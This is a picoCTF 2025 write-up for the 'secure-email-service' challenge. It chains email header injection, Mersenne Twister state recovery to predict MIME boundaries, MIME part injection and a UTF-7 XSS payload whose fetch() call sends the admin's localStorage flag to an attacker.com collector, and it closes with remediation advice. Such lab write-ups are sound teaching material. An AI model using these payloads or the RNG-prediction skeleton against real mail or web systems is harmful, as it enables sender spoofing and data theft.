secure-email-service picoCTF 2025 Solution

Published: April 2, 2025

Description

A Flask email service signs messages with S/MIME. Chain four bugs - email header injection, Mersenne Twister RNG cracking, MIME boundary injection, and UTF-7 XSS - to make the admin bot sign and view a malicious HTML email, then steal the flag from localStorage.

Unpack and run the Docker stack locally: tar -xvf secure-email-service.tar && docker compose up --build. Local debugging is faster than poking the remote instance because you can print() from the Flask app.

Log in as user@ses with the provided credentials and walk the send/reply flow once so you know exactly which form fields you control.

Open app/views.py (or equivalent) and search for Subject, boundary, and the admin-bot URL handler. Note the exact line where the subject string is concatenated into the email and where random.randrange is called.

bash
tar -xvf secure-email-service.tar
bash
docker compose up --build
bash
# Log in: user@ses / <provided password>
bash
grep -rn 'boundary\|randrange\|Subject' app/ src/

Big-picture before the steps: the admin bot logs itself in automatically whenever you trigger it, and the flag lives in that logged-in admin's browser localStorage. Everything below is in service of getting JavaScript to run inside the admin's post-login session so it can read that key and ship it to your collector.

  1. Step 1Inject a From header via the subject field
    The server inserts the user-supplied subject directly into the email headers. Python 3.11's email module accepts header names containing a space before the colon, so From :admin@ses is parsed as a separate From header rather than part of the subject. Inject a newline followed by From :admin@ses (note the space before the colon) in your subject to spoof the sender address when the admin bot views and replies to your message.
    bash
    # Subject value to inject:
    # 'Hello\nFrom :admin@ses'
    
    # Or base64-encoded in RFC 2047 format to survive header folding:
    # '=?ISO-8859-1?B?<base64 of Hello\nFrom :admin@ses>?='
    Learn more

    Email header injection exploits the fact that HTTP headers and email headers both use newline sequences as delimiters. If a web form inserts user input directly into an email header field (such as the Subject), an attacker can include a newline character (\r\n or just \n) to start a new header. The email library then parses the injected text as a legitimate additional header.

    The space-before-colon bypass exploits a quirk in Python's email library: a header name of From : (with a trailing space) passes validation checks that reject From: in certain contexts, yet the email parser treats it as a separate From header when rendering the message. This kind of parser inconsistency is common in format-parsing libraries and is the source of many security vulnerabilities; a checker and a renderer that agree on most inputs but diverge at edge cases create an exploitable gap.

    RFC 2047 encoded-word syntax (=?charset?encoding?text?=) allows non-ASCII content and binary data in email headers. Base64-encoding a payload as an encoded word smuggles newlines past simple string validation that looks for literal \n characters. The email client decodes the encoded word before displaying it to the user, revealing the hidden newline and the injected header.

  2. Step 2Predict the next MIME boundary via MT19937
    The application generates multipart MIME boundaries using Python's random.randrange(sys.maxsize). Python's random module uses a Mersenne Twister (MT19937) PRNG whose internal state is fully recoverable from 624 consecutive 32-bit outputs. Send approximately 800 emails to collect enough boundary values, extract the 32-bit integers from each boundary string, feed them to an MT19937 state recovery tool, and predict the exact boundary the admin's next signed reply will use.
    bash
    pip install randcrack requests
    bash
    # Concrete extraction skeleton:
    #   import re, sys, requests, randcrack
    #   rc = randcrack.RandCrack()
    #   for _ in range(312):  # 312 emails * 2 32-bit halves = 624 outputs
    #       r = session.post('/send', data={'to': 'me@ses', 'subject': 'x', 'body': 'x'})
    #       email_text = session.get('/inbox/latest').text
    #       boundary = re.search(r'boundary="([^"]+)"', email_text).group(1)
    #       n = int(boundary)               # randrange(sys.maxsize) -> 63-bit int
    #       hi, lo = (n >> 32) & 0xFFFFFFFF, n & 0xFFFFFFFF
    #       rc.submit(lo); rc.submit(hi)    # randrange consumes low word first
    #   predicted_n = (rc.predict_getrandbits(32) | (rc.predict_getrandbits(32) << 32))
    Learn more

    The Mersenne Twister (MT19937) is Python's default PRNG (used by the random module). It has a period of 2^19937 − 1 and passes most statistical tests, but it is not cryptographically secure: its internal state of 624 32-bit words is completely determined by 624 consecutive outputs. Once the state is known, all future and past outputs are predictable. This makes it unsuitable for any security-sensitive application; use secrets.token_bytes() or os.urandom() instead.

    Predicting the MIME boundary is necessary because the exploit injects a spoofed boundary value into the email subject as part of the forged MIME structure. For the injection to be interpreted correctly by the admin's email parser, the injected boundary must exactly match the boundary the server will generate for the signed reply. Without knowing the boundary in advance, the injected MIME part will not be parsed.

    The randcrack Python library (and its equivalents in other languages) automates MT19937 state recovery. Feed it 624 raw 32-bit outputs from random.getrandbits(32) calls and it reconstructs the internal state, allowing you to call predict() to get the next N values. Libraries like this exist because MT19937 state recovery is a well-known, solved problem. Python for CTF covers the scripting patterns used here.

  3. Step 3UTF-7 XSS via the predicted MIME boundary
    Craft an email subject that uses the RFC 2047 encoded-word format to inject newlines and include a forged second MIME part. The injected part declares Content-Type: text/html; charset=utf-7 and contains a UTF-7-encoded XSS payload. Because HTML escaping operates on the UTF-8 representation, it does not neutralize the UTF-7 encoding of < and >. When the admin bot's email client renders the reply and decodes the UTF-7 charset, the HTML is parsed and the script executes.
    js
    # 1. Generate the UTF-7 bytes from Python:
    #    payload = b"<img src=x onerror=fetch('https://attacker.com/?c='+localStorage.getItem('flag'))>"
    #    utf7 = payload.decode('utf-8').encode('utf-7')   # produces +ADw-img src=x onerror=fetch(...)+AD4-
    
    # 2. Build the injected MIME part using the predicted boundary:
    #    injected = (b'\r\n--' + predicted + b'\r\nContent-Type: text/html; charset=utf-7\r\n\r\n' + utf7 + b'\r\n--' + predicted + b'--')
    
    # 3. Wrap a newline + the injected boundary line in an RFC 2047 encoded-word
    #    so the smuggle survives header validation:
    #    import base64
    #    smuggle = b'\n' + injected
    #    subject_header = b'=?ISO-8859-1?B?' + base64.b64encode(smuggle) + b'?='
    #    Send subject_header as the Subject field; the email parser decodes it,
    #    sees the literal newline, and treats everything after as appended body parts.
    Learn more

    UTF-7 is a Unicode encoding that represents non-ASCII characters using only 7-bit ASCII. It encodes characters using + as an escape prefix: the sequence +ADw- decodes to < and +AD4- decodes to >. You don't hand-write these escapes; the command above does it with one Python call (payload.decode('utf-8').encode('utf-7')) and the leading +ADw- in the output is exactly the < of <img>. Standard HTML sanitisers operate on the decoded Unicode string, but if the sanitiser receives the raw bytes and the browser decodes them afterwards, the angle brackets survive unsanitised.

    The attack chain at this step is: inject a new MIME part into the signed email (using the predicted boundary), declare its charset as UTF-7, and put an <img onerror=...> payload in UTF-7 encoding inside that part. The email server signs the entire multipart message including the injected part. When the admin bot views its own signed reply, the email client renders the HTML part, decodes UTF-7 to Unicode, parses the angle brackets as HTML, and executes the JavaScript in the onerror handler. See XSS for CTF for the broader payload toolbox.

    The XSS payload calls localStorage.getItem('flag') because the challenge application stores the flag in the admin's browser localStorage after a successful sign-in, and the admin bot runs in a headless browser context that persists localStorage between email views. The payload exfiltrates the flag value to an attacker-controlled server via a fetch() call or an image src attribution.

  4. Step 4Trigger the XSS and collect the flag
    Send the crafted email to the admin bot's address. The bot receives it, views the body (triggering the XSS), and the payload exfiltrates localStorage to your server. The flag value is picoCTF{always_a_step_ahead_...}.
    Learn more

    This challenge is rated as one of the hardest in picoCTF 2025; fewer than 10 of the ~10,000 participating teams solved it during the competition. The exploit chain requires understanding five distinct technical areas simultaneously: email header parsing edge cases, Python's PRNG internals, MIME structure, charset encoding, and XSS attack vectors. Each individual step is a known technique, but chaining them all correctly is genuinely difficult.

    The broader lesson is that defense in depth requires every component of a system to be secure. S/MIME provides a valid cryptographic signature; the emails are authenticated. But authentication alone does not prevent the content of an authenticated email from being malicious. The vulnerability is not in the cryptography; it is in the application logic that trusts user-supplied header fields and in the email client that renders HTML with a dangerous charset. Secure systems must validate at every trust boundary, not just at the authentication layer.

    Remediation for this challenge would require: (1) use email.headerregistry to safely encode subject values rather than string interpolation, (2) replace random with secrets for boundary generation, (3) sanitize HTML email content before rendering in the admin client, and (4) store the flag in an HttpOnly cookie or server-side session rather than localStorage. The cookies and JWT guide expands on point 4.

Flag

picoCTF{always_a_step_ahead_...}

Chain: subject header injection (From: spoofing) → MT19937 RNG crack (~800 boundaries) → inject UTF-7 HTML MIME part using predicted boundary → XSS exfiltrates localStorage flag.

Want more picoCTF 2025 writeups?

Useful tools for Web Exploitation

Related reading

What to try next